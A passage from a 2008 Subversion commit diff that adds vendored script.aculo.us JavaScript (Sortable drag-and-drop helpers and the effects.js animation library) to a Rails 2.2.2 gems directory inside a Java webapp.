+          Sortable.options(oldParentNode).onChange(element);
+        Sortable.options(dropon.parentNode).onChange(element);
+      }
+    }
+  },
+
+  onEmptyHover: function(element, dropon, overlap) {
+    var oldParentNode = element.parentNode;
+    var droponOptions = Sortable.options(dropon);
+
+    if(!Element.isParent(dropon, element)) {
+      var index;
+
+      var children = Sortable.findElements(dropon, {tag: droponOptions.tag, only: droponOptions.only});
+      var child = null;
+
+      if(children) {
+        var offset = Element.offsetSize(dropon, droponOptions.overlap) * (1.0 - overlap);
+
+        for (index = 0; index < children.length; index += 1) {
+          if (offset - Element.offsetSize (children[index], droponOptions.overlap) >= 0) {
+            offset -= Element.offsetSize (children[index], droponOptions.overlap);
+          } else if (offset - (Element.offsetSize (children[index], droponOptions.overlap) / 2) >= 0) {
+            child = index + 1 < children.length ? children[index + 1] : null;
+            break;
+          } else {
+            child = children[index];
+            break;
+          }
+        }
+      }
+
+      dropon.insertBefore(element, child);
+
+      Sortable.options(oldParentNode).onChange(element);
+      droponOptions.onChange(element);
+    }
+  },
+
+  unmark: function() {
+    if(Sortable._marker) Sortable._marker.hide();
+  },
+
+  mark: function(dropon, position) {
+    // mark on ghosting only
+    var sortable = Sortable.options(dropon.parentNode);
+    if(sortable && !sortable.ghosting) return;
+
+    if(!Sortable._marker) {
+      Sortable._marker =
+        ($('dropmarker') || Element.extend(document.createElement('DIV'))).
+          hide().addClassName('dropmarker').setStyle({position:'absolute'});
+      document.getElementsByTagName("body").item(0).appendChild(Sortable._marker);
+    }
+    var offsets = Position.cumulativeOffset(dropon);
+    Sortable._marker.setStyle({left: offsets[0]+'px', top: offsets[1] + 'px'});
+
+    if(position=='after')
+      if(sortable.overlap == 'horizontal')
+        Sortable._marker.setStyle({left: (offsets[0]+dropon.clientWidth) + 'px'});
+      else
+        Sortable._marker.setStyle({top: (offsets[1]+dropon.clientHeight) + 'px'});
+
+    Sortable._marker.show();
+  },
+
+  _tree: function(element, options, parent) {
+    var children = Sortable.findElements(element, options) || [];
+
+    for (var i = 0; i < children.length; ++i) {
+      var match = children[i].id.match(options.format);
+
+      if (!match) continue;
+
+      var child = {
+        id: encodeURIComponent(match ? match[1] : null),
+        element: element,
+        parent: parent,
+        children: [],
+        position: parent.children.length,
+        container: $(children[i]).down(options.treeTag)
+      };
+
+      /* Get the element containing the children and recurse over it */
+      if (child.container)
+        this._tree(child.container, options, child);
+
+      parent.children.push (child);
+    }
+
+    return parent;
+  },
+
+  tree: function(element) {
+    element = $(element);
+    var sortableOptions = this.options(element);
+    var options = Object.extend({
+      tag: sortableOptions.tag,
+      treeTag: sortableOptions.treeTag,
+      only: sortableOptions.only,
+      name: element.id,
+      format: sortableOptions.format
+    }, arguments[1] || { });
+
+    var root = {
+      id: null,
+      parent: null,
+      children: [],
+      container: element,
+      position: 0
+    };
+
+    return Sortable._tree(element, options, root);
+  },
+
+  /* Construct a [i] index for a particular node */
+  _constructIndex: function(node) {
+    var index = '';
+    do {
+      if (node.id) index = '[' + node.position + ']' + index;
+    } while ((node = node.parent) != null);
+    return index;
+  },
+
+  sequence: function(element) {
+    element = $(element);
+    var options = Object.extend(this.options(element), arguments[1] || { });
+
+    return $(this.findElements(element, options) || []).map( function(item) {
+      return item.id.match(options.format) ? item.id.match(options.format)[1] : '';
+    });
+  },
+
+  setSequence: function(element, new_sequence) {
+    element = $(element);
+    var options = Object.extend(this.options(element), arguments[2] || { });
+
+    var nodeMap = { };
+    this.findElements(element, options).each( function(n) {
+        if (n.id.match(options.format))
+            nodeMap[n.id.match(options.format)[1]] = [n, n.parentNode];
+        n.parentNode.removeChild(n);
+    });
+
+    new_sequence.each(function(ident) {
+      var n = nodeMap[ident];
+      if (n) {
+        n[1].appendChild(n[0]);
+        delete nodeMap[ident];
+      }
+    });
+  },
+
+  serialize: function(element) {
+    element = $(element);
+    var options = Object.extend(Sortable.options(element), arguments[1] || { });
+    var name = encodeURIComponent(
+      (arguments[1] && arguments[1].name) ? arguments[1].name : element.id);
+
+    if (options.tree) {
+      return Sortable.tree(element, arguments[1]).children.map( function (item) {
+        return [name + Sortable._constructIndex(item) + "[id]=" +
+                encodeURIComponent(item.id)].concat(item.children.map(arguments.callee));
+      }).flatten().join('&');
+    } else {
+      return Sortable.sequence(element, arguments[1]).map( function(item) {
+        return name + "[]=" + encodeURIComponent(item);
+      }).join('&');
+    }
+  }
+};
+
+// Returns true if child is contained within element
+Element.isParent = function(child, element) {
+  if (!child.parentNode || child == element) return false;
+  if (child.parentNode == element) return true;
+  return Element.isParent(child.parentNode, element);
+};
+
+Element.findChildren = function(element, only, recursive, tagName) {
+  if(!element.hasChildNodes()) return null;
+  tagName = tagName.toUpperCase();
+  if(only) only = [only].flatten();
+  var elements = [];
+  $A(element.childNodes).each( function(e) {
+    if(e.tagName && e.tagName.toUpperCase()==tagName &&
+      (!only || (Element.classNames(e).detect(function(v) { return only.include(v) }))))
+        elements.push(e);
+    if(recursive) {
+      var grandchildren = Element.findChildren(e, only, recursive, tagName);
+      if(grandchildren) elements.push(grandchildren);
+    }
+  });
+
+  return (elements.length>0 ? elements.flatten() : []);
+};
+
+Element.offsetSize = function (element, type) {
+  return element['offset' + ((type=='vertical' || type=='height') ? 'Height' : 'Width')];
+};
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/javascripts/effects.js
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/javascripts/effects.js	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/javascripts/effects.js	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1128 @@
+// Copyright (c) 2005-2008 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
+// Contributors:
+//  Justin Palmer (http://encytemedia.com/)
+//  Mark Pilgrim (http://diveintomark.org/)
+//  Martin Bialasinki
+//
+// script.aculo.us is freely distributable under the terms of an MIT-style license.
+// For details, see the script.aculo.us web site: http://script.aculo.us/
+
+// converts rgb() and #xxx to #xxxxxx format,
+// returns self (or first argument) if not convertable
+String.prototype.parseColor = function() {
+  var color = '#';
+  if (this.slice(0,4) == 'rgb(') {
+    var cols = this.slice(4,this.length-1).split(',');
+    var i=0; do { color += parseInt(cols[i]).toColorPart() } while (++i<3);
+  } else {
+    if (this.slice(0,1) == '#') {
+      if (this.length==4) for(var i=1;i<4;i++) color += (this.charAt(i) + this.charAt(i)).toLowerCase();
+      if (this.length==7) color = this.toLowerCase();
+    }
+  }
+  return (color.length==7 ? color : (arguments[0] || this));
+};
+
+/*--------------------------------------------------------------------------*/
+
+Element.collectTextNodes = function(element) {
+  return $A($(element).childNodes).collect( function(node) {
+    return (node.nodeType==3 ? node.nodeValue :
+      (node.hasChildNodes() ? Element.collectTextNodes(node) : ''));
+  }).flatten().join('');
+};
+
+Element.collectTextNodesIgnoreClass = function(element, className) {
+  return $A($(element).childNodes).collect( function(node) {
+    return (node.nodeType==3 ? node.nodeValue :
+      ((node.hasChildNodes() && !Element.hasClassName(node,className)) ?
+        Element.collectTextNodesIgnoreClass(node, className) : ''));
+  }).flatten().join('');
+};
+
+Element.setContentZoom = function(element, percent) {
+  element = $(element);
+  element.setStyle({fontSize: (percent/100) + 'em'});
+  if (Prototype.Browser.WebKit) window.scrollBy(0,0);
+  return element;
+};
+
+Element.getInlineOpacity = function(element){
+  return $(element).style.opacity || '';
+};
+
+Element.forceRerendering = function(element) {
+  try {
+    element = $(element);
+    var n = document.createTextNode(' ');
+    element.appendChild(n);
+    element.removeChild(n);
+  } catch(e) { }
+};
+
+/*--------------------------------------------------------------------------*/
+
+var Effect = {
+  _elementDoesNotExistError: {
+    name: 'ElementDoesNotExistError',
+    message: 'The specified DOM element does not exist, but is required for this effect to operate'
+  },
+  Transitions: {
+    linear: Prototype.K,
+    sinoidal: function(pos) {
+      return (-Math.cos(pos*Math.PI)/2) + .5;
+    },
+    reverse: function(pos) {
+      return 1-pos;
+    },
+    flicker: function(pos) {
+      var pos = ((-Math.cos(pos*Math.PI)/4) + .75) + Math.random()/4;
+      return pos > 1 ? 1 : pos;
+    },
+    wobble: function(pos) {
+      return (-Math.cos(pos*Math.PI*(9*pos))/2) + .5;
+    },
+    pulse: function(pos, pulses) {
+      return (-Math.cos((pos*((pulses||5)-.5)*2)*Math.PI)/2) + .5;
+    },
+    spring: function(pos) {
+      return 1 - (Math.cos(pos * 4.5 * Math.PI) * Math.exp(-pos * 6));
+    },
+    none: function(pos) {
+      return 0;
+    },
+    full: function(pos) {
+      return 1;
+    }
+  },
+  DefaultOptions: {
+    duration:   1.0,   // seconds
+    fps:        100,   // 100= assume 66fps max.
+    sync:       false, // true for combining
+    from:       0.0,
+    to:         1.0,
+    delay:      0.0,
+    queue:      'parallel'
+  },
+  tagifyText: function(element) {
+    var tagifyStyle = 'position:relative';
+    if (Prototype.Browser.IE) tagifyStyle += ';zoom:1';
+
+    element = $(element);
+    $A(element.childNodes).each( function(child) {
+      if (child.nodeType==3) {
+        child.nodeValue.toArray().each( function(character) {
+          element.insertBefore(
+            new Element('span', {style: tagifyStyle}).update(
+              character == ' ' ? String.fromCharCode(160) : character),
+              child);
+        });
+        Element.remove(child);
+      }
+    });
+  },
+  multiple: function(element, effect) {
+    var elements;
+    if (((typeof element == 'object') ||
+        Object.isFunction(element)) &&
+       (element.length))
+      elements = element;
+    else
+      elements = $(element).childNodes;
+
+    var options = Object.extend({
+      speed: 0.1,
+      delay: 0.0
+    }, arguments[2] || { });
+    var masterDelay = options.delay;
+
+    $A(elements).each( function(element, index) {
+      new effect(element, Object.extend(options, { delay: index * options.speed + masterDelay }));
+    });
+  },
+  PAIRS: {
+    'slide':  ['SlideDown','SlideUp'],
+    'blind':  ['BlindDown','BlindUp'],
+    'appear': ['Appear','Fade']
+  },
+  toggle: function(element, effect) {
+    element = $(element);
+    effect = (effect || 'appear').toLowerCase();
+    var options = Object.extend({
+      queue: { position:'end', scope:(element.id || 'global'), limit: 1 }
+    }, arguments[2] || { });
+    Effect[element.visible() ?
+      Effect.PAIRS[effect][1] : Effect.PAIRS[effect][0]](element, options);
+  }
+};
+
+Effect.DefaultOptions.transition = Effect.Transitions.sinoidal;
+
+/* ------------- core effects ------------- */
+
+Effect.ScopedQueue = Class.create(Enumerable, {
+  initialize: function() {
+    this.effects  = [];
+    this.interval = null;
+  },
+  _each: function(iterator) {
+    this.effects._each(iterator);
+  },
+  add: function(effect) {
+    var timestamp = new Date().getTime();
+
+    var position = Object.isString(effect.options.queue) ?
+      effect.options.queue : effect.options.queue.position;
+
+    switch(position) {
+      case 'front':
+        // move unstarted effects after this effect
+        this.effects.findAll(function(e){ return e.state=='idle' }).each( function(e) {
+            e.startOn  += effect.finishOn;
+            e.finishOn += effect.finishOn;
+          });
+        break;
+      case 'with-last':
+        timestamp = this.effects.pluck('startOn').max() || timestamp;
+        break;
+      case 'end':
+        // start effect after last queued effect has finished
+        timestamp = this.effects.pluck('finishOn').max() || timestamp;
+        break;
+    }
+
+    effect.startOn  += timestamp;
+    effect.finishOn += timestamp;
+
+    if (!effect.options.queue.limit || (this.effects.length < effect.options.queue.limit))
+      this.effects.push(effect);
+
+    if (!this.interval)
+      this.interval = setInterval(this.loop.bind(this), 15);
+  },
+  remove: function(effect) {
+    this.effects = this.effects.reject(function(e) { return e==effect });
+    if (this.effects.length == 0) {
+      clearInterval(this.interval);
+      this.interval = null;
+    }
+  },
+  loop: function() {
+    var timePos = new Date().getTime();
+    for(var i=0, len=this.effects.length;i<len;i++)
+      this.effects[i] && this.effects[i].loop(timePos);
+  }
+});
+
+Effect.Queues = {
+  instances: $H(),
+  get: function(queueName) {
+    if (!Object.isString(queueName)) return queueName;
+
+    return this.instances.get(queueName) ||
+      this.instances.set(queueName, new Effect.ScopedQueue());
+  }
+};
+Effect.Queue = Effect.Queues.get('global');
+
+Effect.Base = Class.create({
+  position: null,
+  start: function(options) {
+    function codeForEvent(options,eventName){
+      return (
+        (options[eventName+'Internal'] ? 'this.options.'+eventName+'Internal(this);' : '') +
+        (options[eventName] ? 'this.options.'+eventName+'(this);' : '')
+      );
+    }
+    if (options && options.transition === false) options.transition = Effect.Transitions.linear;
+    this.options      = Object.extend(Object.extend({ },Effect.DefaultOptions), options || { });
+    this.currentFrame = 0;
+    this.state        = 'idle';
+    this.startOn      = this.options.delay*1000;
+    this.finishOn     = this.startOn+(this.options.duration*1000);
+    this.fromToDelta  = this.options.to-this.options.from;
+    this.totalTime    = this.finishOn-this.startOn;
+    this.totalFrames  = this.options.fps*this.options.duration;
+
+    this.render = (function() {
+      function dispatch(effect, eventName) {
+        if (effect.options[eventName + 'Internal'])
+          effect.options[eventName + 'Internal'](effect);
+        if (effect.options[eventName])
+          effect.options[eventName](effect);
+      }
+
+      return function(pos) {
+        if (this.state === "idle") {
+          this.state = "running";
+          dispatch(this, 'beforeSetup');
+          if (this.setup) this.setup();
+          dispatch(this, 'afterSetup');
+        }
+        if (this.state === "running") {
+          pos = (this.options.transition(pos) * this.fromToDelta) + this.options.from;
+          this.position = pos;
+          dispatch(this, 'beforeUpdate');
+          if (this.update) this.update(pos);
+          dispatch(this, 'afterUpdate');
+        }
+      };
+    })();
+
+    this.event('beforeStart');
+    if (!this.options.sync)
+      Effect.Queues.get(Object.isString(this.options.queue) ?
+        'global' : this.options.queue.scope).add(this);
+  },
+  loop: function(timePos) {
+    if (timePos >= this.startOn) {
+      if (timePos >= this.finishOn) {
+        this.render(1.0);
+        this.cancel();
+        this.event('beforeFinish');
+        if (this.finish) this.finish();
+        this.event('afterFinish');
+        return;
+      }
+      var pos   = (timePos - this.startOn) / this.totalTime,
+          frame = (pos * this.totalFrames).round();
+      if (frame > this.currentFrame) {
+        this.render(pos);
+        this.currentFrame = frame;
+      }
+    }
+  },
+  cancel: function() {
+    if (!this.options.sync)
+      Effect.Queues.get(Object.isString(this.options.queue) ?
+        'global' : this.options.queue.scope).remove(this);
+    this.state = 'finished';
+  },
+  event: function(eventName) {
+    if (this.options[eventName + 'Internal']) this.options[eventName + 'Internal'](this);
+    if (this.options[eventName]) this.options[eventName](this);
+  },
+  inspect: function() {
+    var data = $H();
+    for(property in this)
+      if (!Object.isFunction(this[property])) data.set(property, this[property]);
+    return '#<Effect:' + data.inspect() + ',options:' + $H(this.options).inspect() + '>';
+  }
+});
+
+Effect.Parallel = Class.create(Effect.Base, {
+  initialize: function(effects) {
+    this.effects = effects || [];
+    this.start(arguments[1]);
+  },
+  update: function(position) {
+    this.effects.invoke('render', position);
+  },
+  finish: function(position) {
+    this.effects.each( function(effect) {
+      effect.render(1.0);
+      effect.cancel();
+      effect.event('beforeFinish');
+      if (effect.finish) effect.finish(position);
+      effect.event('afterFinish');
+    });
+  }
+});
+
+Effect.Tween = Class.create(Effect.Base, {
+  initialize: function(object, from, to) {
+    object = Object.isString(object) ? $(object) : object;
+    var args = $A(arguments), method = args.last(),
+      options = args.length == 5 ? args[3] : null;
+    this.method = Object.isFunction(method) ? method.bind(object) :
+      Object.isFunction(object[method]) ? object[method].bind(object) :
+      function(value) { object[method] = value };
+    this.start(Object.extend({ from: from, to: to }, options || { }));
+  },
+  update: function(position) {
+    this.method(position);
+  }
+});
+
+Effect.Event = Class.create(Effect.Base, {
+  initialize: function() {
+    this.start(Object.extend({ duration: 0 }, arguments[0] || { }));
+  },
+  update: Prototype.emptyFunction
+});
+
+Effect.Opacity = Class.create(Effect.Base, {
+  initialize: function(element) {
+    this.element = $(element);
+    if (!this.element) throw(Effect._elementDoesNotExistError);
+    // make this work on IE on elements without 'layout'
+    if (Prototype.Browser.IE && (!this.element.currentStyle.hasLayout))
+      this.element.setStyle({zoom: 1});
+    var options = Object.extend({
+      from: this.element.getOpacity() || 0.0,
+      to:   1.0
+    }, arguments[1] || { });
+    this.start(options);
+  },
+  update: function(position) {
+    this.element.setOpacity(position);
+  }
+});
+
+Effect.Move = Class.create(Effect.Base, {
+  initialize: function(element) {
+    this.element = $(element);
+    if (!this.element) throw(Effect._elementDoesNotExistError);
+    var options = Object.extend({
+      x:    0,
+      y:    0,
+      mode: 'relative'
+    }, arguments[1] || { });
+    this.start(options);
+  },
+  setup: function() {
+    this.element.makePositioned();
+    this.originalLeft = parseFloat(this.element.getStyle('left') || '0');
+    this.originalTop  = parseFloat(this.element.getStyle('top')  || '0');
+    if (this.options.mode == 'absolute') {
+      this.options.x = this.options.x - this.originalLeft;
+      this.options.y = this.options.y - this.originalTop;
+    }
+  },
+  update: function(position) {
+    this.element.setStyle({
+      left: (this.options.x  * position + this.originalLeft).round() + 'px',
+      top:  (this.options.y  * position + this.originalTop).round()  + 'px'
+    });
+  }
+});
+
+// for backwards compatibility
+Effect.MoveBy = function(element, toTop, toLeft) {
+  return new Effect.Move(element,
+    Object.extend({ x: toLeft, y: toTop }, arguments[3] || { }));
+};
+
+Effect.Scale = Class.create(Effect.Base, {
+  initialize: function(element, percent) {
+    this.element = $(element);
+    if (!this.element) throw(Effect._elementDoesNotExistError);
+    var options = Object.extend({
+      scaleX: true,
+      scaleY: true,
+      scaleContent: true,
+      scaleFromCenter: false,
+      scaleMode: 'box',        // 'box' or 'contents' or { } with provided values
+      scaleFrom: 100.0,
+      scaleTo:   percent
+    }, arguments[2] || { });
+    this.start(options);
+  },
+  setup: function() {
+    this.restoreAfterFinish = this.options.restoreAfterFinish || false;
+    this.elementPositioning = this.element.getStyle('position');
+
+    this.originalStyle = { };
+    ['top','left','width','height','fontSize'].each( function(k) {
+      this.originalStyle[k] = this.element.style[k];
+    }.bind(this));
+
+    this.originalTop  = this.element.offsetTop;
+    this.originalLeft = this.element.offsetLeft;
+
+    var fontSize = this.element.getStyle('font-size') || '100%';
+    ['em','px','%','pt'].each( function(fontSizeType) {
+      if (fontSize.indexOf(fontSizeType)>0) {
+        this.fontSize     = parseFloat(fontSize);
+        this.fontSizeType = fontSizeType;
+      }
+    }.bind(this));
+
+    this.factor = (this.options.scaleTo - this.options.scaleFrom)/100;
+
+    this.dims = null;
+    if (this.options.scaleMode=='box')
+      this.dims = [this.element.offsetHeight, this.element.offsetWidth];
+    if (/^content/.test(this.options.scaleMode))
+      this.dims = [this.element.scrollHeight, this.element.scrollWidth];
+    if (!this.dims)
+      this.dims = [this.options.scaleMode.originalHeight,
+                   this.options.scaleMode.originalWidth];
+  },
+  update: function(position) {
+    var currentScale = (this.options.scaleFrom/100.0) + (this.factor * position);
+    if (this.options.scaleContent && this.fontSize)
+      this.element.setStyle({fontSize: this.fontSize * currentScale + this.fontSizeType });
+    this.setDimensions(this.dims[0] * currentScale, this.dims[1] * currentScale);
+  },
+  finish: function(position) {
+    if (this.restoreAfterFinish) this.element.setStyle(this.originalStyle);
+  },
+  setDimensions: function(height, width) {
+    var d = { };
+    if (this.options.scaleX) d.width = width.round() + 'px';
+    if (this.options.scaleY) d.height = height.round() + 'px';
+    if (this.options.scaleFromCenter) {
+      var topd  = (height - this.dims[0])/2;
+      var leftd = (width  - this.dims[1])/2;
+      if (this.elementPositioning == 'absolute') {
+        if (this.options.scaleY) d.top = this.originalTop-topd + 'px';
+        if (this.options.scaleX) d.left = this.originalLeft-leftd + 'px';
+      } else {
+        if (this.options.scaleY) d.top = -topd + 'px';
+        if (this.options.scaleX) d.left = -leftd + 'px';
+      }
+    }
+    this.element.setStyle(d);
+  }
+});
+
+Effect.Highlight = Class.create(Effect.Base, {
+  initialize: function(element) {
+    this.element = $(element);
+    if (!this.element) throw(Effect._elementDoesNotExistError);
+    var options = Object.extend({ startcolor: '#ffff99' }, arguments[1] || { });
+    this.start(options);
+  },
+  setup: function() {
+    // Prevent executing on elements not in the layout flow
+    if (this.element.getStyle('display')=='none') { this.cancel(); return; }
+    // Disable background image during the effect
+    this.oldStyle = { };
+    if (!this.options.keepBackgroundImage) {
+      this.oldStyle.backgroundImage = this.element.getStyle('background-image');
+      this.element.setStyle({backgroundImage: 'none'});
+    }
+    if (!this.options.endcolor)
+      this.options.endcolor = this.element.getStyle('background-color').parseColor('#ffffff');
+    if (!this.options.restorecolor)
+      this.options.restorecolor = this.element.getStyle('background-color');
+    // init color calculations
+    this._base  = $R(0,2).map(function(i){ return parseInt(this.options.startcolor.slice(i*2+1,i*2+3),16) }.bind(this));
+    this._delta = $R(0,2).map(function(i){ return parseInt(this.options.endcolor.slice(i*2+1,i*2+3),16)-this._base[i] }.bind(this));
+  },
+  update: function(position) {
+    this.element.setStyle({backgroundColor: $R(0,2).inject('#',function(m,v,i){
+      return m+((this._base[i]+(this._delta[i]*position)).round().toColorPart()); }.bind(this)) });
+  },
+  finish: function() {
+    this.element.setStyle(Object.extend(this.oldStyle, {
+      backgroundColor: this.options.restorecolor
+    }));
+  }
+});
+
+Effect.ScrollTo = function(element) {
+  var options = arguments[1] || { },
+  scrollOffsets = document.viewport.getScrollOffsets(),
+  elementOffsets = $(element).cumulativeOffset();
+
+  if (options.offset) elementOffsets[1] += options.offset;
+
+  return new Effect.Tween(null,
+    scrollOffsets.top,
+    elementOffsets[1],
+    options,
+    function(p){ scrollTo(scrollOffsets.left, p.round()); }
+  );
+};
+
+/* ------------- combination effects ------------- */
+
+Effect.Fade = function(element) {
+  element = $(element);
+  var oldOpacity = element.getInlineOpacity();
+  var options = Object.extend({
+    from: element.getOpacity() || 1.0,
+    to:   0.0,
+    afterFinishInternal: function(effect) {
+      if (effect.options.to!=0) return;
+      effect.element.hide().setStyle({opacity: oldOpacity});
+    }
+  }, arguments[1] || { });
+  return new Effect.Opacity(element,options);
+};
+
+Effect.Appear = function(element) {
+  element = $(element);
+  var options = Object.extend({
+  from: (element.getStyle('display') == 'none' ? 0.0 : element.getOpacity() || 0.0),
+  to:   1.0,
+  // force Safari to render floated elements properly
+  afterFinishInternal: function(effect) {
+    effect.element.forceRerendering();
+  },
+  beforeSetup: function(effect) {
+    effect.element.setOpacity(effect.options.from).show();
+  }}, arguments[1] || { });
+  return new Effect.Opacity(element,options);
+};
+
+Effect.Puff = function(element) {
+  element = $(element);
+  var oldStyle = {
+    opacity: element.getInlineOpacity(),
+    position: element.getStyle('position'),
+    top:  element.style.top,
+    left: element.style.left,
+    width: element.style.width,
+    height: element.style.height
+  };
+  return new Effect.Parallel(
+   [ new Effect.Scale(element, 200,
+      { sync: true, scaleFromCenter: true, scaleContent: true, restoreAfterFinish: true }),
+     new Effect.Opacity(element, { sync: true, to: 0.0 } ) ],
+     Object.extend({ duration: 1.0,
+      beforeSetupInternal: function(effect) {
+        Position.absolutize(effect.effects[0].element);
+      },
+      afterFinishInternal: function(effect) {
+         effect.effects[0].element.hide().setStyle(oldStyle); }
+     }, arguments[1] || { })
+   );
+};
+
+Effect.BlindUp = function(element) {
+  element = $(element);
+  element.makeClipping();
+  return new Effect.Scale(element, 0,
+    Object.extend({ scaleContent: false,
+      scaleX: false,
+      restoreAfterFinish: true,
+      afterFinishInternal: function(effect) {
+        effect.element.hide().undoClipping();
+      }
+    }, arguments[1] || { })
+  );
+};
+
+Effect.BlindDown = function(element) {
+  element = $(element);
+  var elementDimensions = element.getDimensions();
+  return new Effect.Scale(element, 100, Object.extend({
+    scaleContent: false,
+    scaleX: false,
+    scaleFrom: 0,
+    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
+    restoreAfterFinish: true,
+    afterSetup: function(effect) {
+      effect.element.makeClipping().setStyle({height: '0px'}).show();
+    },
+    afterFinishInternal: function(effect) {
+      effect.element.undoClipping();
+    }
+  }, arguments[1] || { }));
+};
+
+Effect.SwitchOff = function(element) {
+  element = $(element);
+  var oldOpacity = element.getInlineOpacity();
+  return new Effect.Appear(element, Object.extend({
+    duration: 0.4,
+    from: 0,
+    transition: Effect.Transitions.flicker,
+    afterFinishInternal: function(effect) {
+      new Effect.Scale(effect.element, 1, {
+        duration: 0.3, scaleFromCenter: true,
+        scaleX: false, scaleContent: false, restoreAfterFinish: true,
+        beforeSetup: function(effect) {
+          effect.element.makePositioned().makeClipping();
+        },
+        afterFinishInternal: function(effect) {
+          effect.element.hide().undoClipping().undoPositioned().setStyle({opacity: oldOpacity});
+        }
+      });
+    }
+  }, arguments[1] || { }));
+};
+
+Effect.DropOut = function(element) {
+  element = $(element);
+  var oldStyle = {
+    top: element.getStyle('top'),
+    left: element.getStyle('left'),
+    opacity: element.getInlineOpacity() };
+  return new Effect.Parallel(
+    [ new Effect.Move(element, {x: 0, y: 100, sync: true }),
+      new Effect.Opacity(element, { sync: true, to: 0.0 }) ],
+    Object.extend(
+      { duration: 0.5,
+        beforeSetup: function(effect) {
+          effect.effects[0].element.makePositioned();
+        },
+        afterFinishInternal: function(effect) {
+          effect.effects[0].element.hide().undoPositioned().setStyle(oldStyle);
+        }
+      }, arguments[1] || { }));
+};
+
+Effect.Shake = function(element) {
+  element = $(element);
+  var options = Object.extend({
+    distance: 20,
+    duration: 0.5
+  }, arguments[1] || {});
+  var distance = parseFloat(options.distance);
+  var split = parseFloat(options.duration) / 10.0;
+  var oldStyle = {
+    top: element.getStyle('top'),
+    left: element.getStyle('left') };
+    return new Effect.Move(element,
+      { x:  distance, y: 0, duration: split, afterFinishInternal: function(effect) {
+    new Effect.Move(effect.element,
+      { x: -distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
+    new Effect.Move(effect.element,
+      { x:  distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
+    new Effect.Move(effect.element,
+      { x: -distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
+    new Effect.Move(effect.element,
+      { x:  distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
+    new Effect.Move(effect.element,
+      { x: -distance, y: 0, duration: split, afterFinishInternal: function(effect) {
+        effect.element.undoPositioned().setStyle(oldStyle);
+  }}); }}); }}); }}); }}); }});
+};
+
+Effect.SlideDown = function(element) {
+  element = $(element).cleanWhitespace();
+  // SlideDown need to have the content of the element wrapped in a container element with fixed height!
+  var oldInnerBottom = element.down().getStyle('bottom');
+  var elementDimensions = element.getDimensions();
+  return new Effect.Scale(element, 100, Object.extend({
+    scaleContent: false,
+    scaleX: false,
+    scaleFrom: window.opera ? 0 : 1,
+    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
+    restoreAfterFinish: true,
+    afterSetup: function(effect) {
+      effect.element.makePositioned();
+      effect.element.down().makePositioned();
+      if (window.opera) effect.element.setStyle({top: ''});
+      effect.element.makeClipping().setStyle({height: '0px'}).show();
+    },
+    afterUpdateInternal: function(effect) {
+      effect.element.down().setStyle({bottom:
+        (effect.dims[0] - effect.element.clientHeight) + 'px' });
+    },
+    afterFinishInternal: function(effect) {
+      effect.element.undoClipping().undoPositioned();
+      effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom}); }
+    }, arguments[1] || { })
+  );
+};
+
+Effect.SlideUp = function(element) {
+  element = $(element).cleanWhitespace();
+  var oldInnerBottom = element.down().getStyle('bottom');
+  var elementDimensions = element.getDimensions();
+  return new Effect.Scale(element, window.opera ? 0 : 1,
+   Object.extend({ scaleContent: false,
+    scaleX: false,
+    scaleMode: 'box',
+    scaleFrom: 100,
+    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
+    restoreAfterFinish: true,
+    afterSetup: function(effect) {
+      effect.element.makePositioned();
+      effect.element.down().makePositioned();
+      if (window.opera) effect.element.setStyle({top: ''});
+      effect.element.makeClipping().show();
+    },
+    afterUpdateInternal: function(effect) {
+      effect.element.down().setStyle({bottom:
+        (effect.dims[0] - effect.element.clientHeight) + 'px' });
+    },
+    afterFinishInternal: function(effect) {
+      effect.element.hide().undoClipping().undoPositioned();
+      effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom});
+    }
+   }, arguments[1] || { })
+  );
+};
+
+// Bug in opera makes the TD containing this element expand for a instance after finish
+Effect.Squish = function(element) {
+  return new Effect.Scale(element, window.opera ? 1 : 0, {
+    restoreAfterFinish: true,
+    beforeSetup: function(effect) {
+      effect.element.makeClipping();
+    },
+    afterFinishInternal: function(effect) {
+      effect.element.hide().undoClipping();
+    }
+  });
+};
+
+Effect.Grow = function(element) {
+  element = $(element);
+  var options = Object.extend({
+    direction: 'center',
+    moveTransition: Effect.Transitions.sinoidal,
+    scaleTransition: Effect.Transitions.sinoidal,
+    opacityTransition: Effect.Transitions.full
+  }, arguments[1] || { });
+  var oldStyle = {
+    top: element.style.top,
+    left: element.style.left,
+    height: element.style.height,
+    width: element.style.width,
+    opacity: element.getInlineOpacity() };
+
+  var dims = element.getDimensions();
+  var initialMoveX, initialMoveY;
+  var moveX, moveY;
+
+  switch (options.direction) {
+    case 'top-left':
+      initialMoveX = initialMoveY = moveX = moveY = 0;
+      break;
+    case 'top-right':
+      initialMoveX = dims.width;
+      initialMoveY = moveY = 0;
+      moveX = -dims.width;
+      break;
+    case 'bottom-left':
+      initialMoveX = moveX = 0;
+      initialMoveY = dims.height;
+      moveY = -dims.height;
+      break;
+    case 'bottom-right':
+      initialMoveX = dims.width;
+      initialMoveY = dims.height;
+      moveX = -dims.width;
+      moveY = -dims.height;
+      break;
+    case 'center':
+      initialMoveX = dims.width / 2;
+      initialMoveY = dims.height / 2;
+      moveX = -dims.width / 2;
+      moveY = -dims.height / 2;
+      break;
+  }
+
+  return new Effect.Move(element, {
+    x: initialMoveX,
+    y: initialMoveY,
+    duration: 0.01,
+    beforeSetup: function(effect) {
+      effect.element.hide().makeClipping().makePositioned();
+    },
+    afterFinishInternal: function(effect) {
+      new Effect.Parallel(
+        [ new Effect.Opacity(effect.element, { sync: true, to: 1.0, from: 0.0, transition: options.opacityTransition }),
+          new Effect.Move(effect.element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }),
